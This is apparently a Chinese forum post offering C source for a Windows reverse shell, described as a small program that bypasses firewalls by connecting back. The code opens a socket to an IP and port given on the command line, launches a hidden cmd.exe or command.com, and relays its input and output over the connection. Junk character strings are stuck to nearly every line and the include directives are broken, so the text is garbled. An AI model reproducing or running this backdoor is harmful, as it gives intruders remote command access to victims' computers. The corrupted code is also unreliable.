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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 n/p M[gI  
YMIDV-  
/* ============================== _;yp^^S  
Rebound port in Windows NT ~uqJ@#o{  
By wind,2006/7 7{D +\i  
===============================*/ o83HR[  
#include i'L7t!f}o  
#include -qs.'o ;2  
5L42'gJ  
#pragma comment(lib,"wsock32.lib") FxKH?Rl  
wDem }uO  
void OutputShell(); bo$xonV@y  
SOCKET sClient; b}9K"GT  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M86v  
@_FL,AC&m  
void main(int argc,char **argv) |5F]y"Nb  
{  []1VD#  
WSADATA stWsaData; rD%(*|Y"c  
int nRet; CP7Zin1S/w  
SOCKADDR_IN stSaiClient,stSaiServer; !z{bqPlFGG  
*;m5^i<,;S  
if(argc != 3) xHJ+!   
{ Pgr>qcbql  
printf("Useage:\n\rRebound DestIP DestPort\n"); \hc}xy 0  
return; |C=^:@}ri?  
} 3.Ni%FF`  
lR{eO~'~V  
WSAStartup(MAKEWORD(2,2),&stWsaData); #| A @  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =5oFutg`  
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stSaiClient.sin_family = AF_INET; 1#(,Bq4  
stSaiClient.sin_port = htons(0); >J3N,f  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); w]"Y1J(i  
[LL"86D  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) s)375jCga  
{ 9C-F%te7  
printf("Bind Socket Failed!\n"); (vz)GrH>  
return; d7It}7@9  
} W2%(a0p  
VpWax]'  
stSaiServer.sin_family = AF_INET; A8e b{qv  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [9z<*@$-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  _"%d9B  
^+mSf`5  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Nq9Qsia&  
{ G+m|A*[>  
printf("Connect Error!"); A}~hc&J  
return; h[C!cX  
} yf3%g\k  
OutputShell(); yIXM}i:  
} ^(N+s?  
. 2.$Rq  
void OutputShell() feIAgd},  
{ }}cVPB7   
char szBuff[1024]; BtBy.bR  
SECURITY_ATTRIBUTES stSecurityAttributes; fk*JoR.o  
OSVERSIONINFO stOsversionInfo; >f'n l  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; q0`Vw%  
STARTUPINFO stStartupInfo; q_OIzZ@  
char *szShell; %Q1v8l.}  
PROCESS_INFORMATION stProcessInformation; R@=ve %a-  
unsigned long lBytesRead; qk~QcVg  
[jD O8n/  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1^}() H62}  
}C2I9Cl  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K\IS"b3X  
stSecurityAttributes.lpSecurityDescriptor = 0; KP _=#KD  
stSecurityAttributes.bInheritHandle = TRUE; H#m)`=nZSZ  
7Q 0 M3m  
Q7"KgqpQ3  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~bigaY  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); udp&U+L  
un W{ZfEC  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3hO` GM  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @]H&(bw  
stStartupInfo.wShowWindow = SW_HIDE; a}M7"v9  
stStartupInfo.hStdInput = hReadPipe; y"cK@sOo  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `Wn0v2@a(~  
Ea!}r| ~]0  
GetVersionEx(&stOsversionInfo); #8;^ys1f  
q&jZmr  
switch(stOsversionInfo.dwPlatformId) [53@'@26  
{ K?-K<3]9f  
case 1: 45/f}kvy  
szShell = "command.com"; O5Yk=-_m  
break; hB P]^~(  
default: 7R7g$  
szShell = "cmd.exe"; qAR~js`5  
break; eU@yw1N  
} VG&|fekF  
%dw-}1X  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q{yz]H,  
&r~~1BnpHm  
send(sClient,szMsg,77,0); $d,30hK  
while(1) B(Y{  
{ YwoytoXK  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); XLqS{r~?  
if(lBytesRead) r5lp<md  
{ DXSZ#^,S[W  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;NLL?6~  
send(sClient,szBuff,lBytesRead,0); (z ;=3S  
} <g>_#fz"K  
else Y8m|f  
{ C([;JO 11[  
lBytesRead=recv(sClient,szBuff,1024,0); *3S,XMS{O  
if(lBytesRead<=0) break; >bz}IcZP  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); IJS9%m#  
} .A\9|sRZ5  
} fAUtqkB  
"uTzmm$  
return; &:akom8  
}
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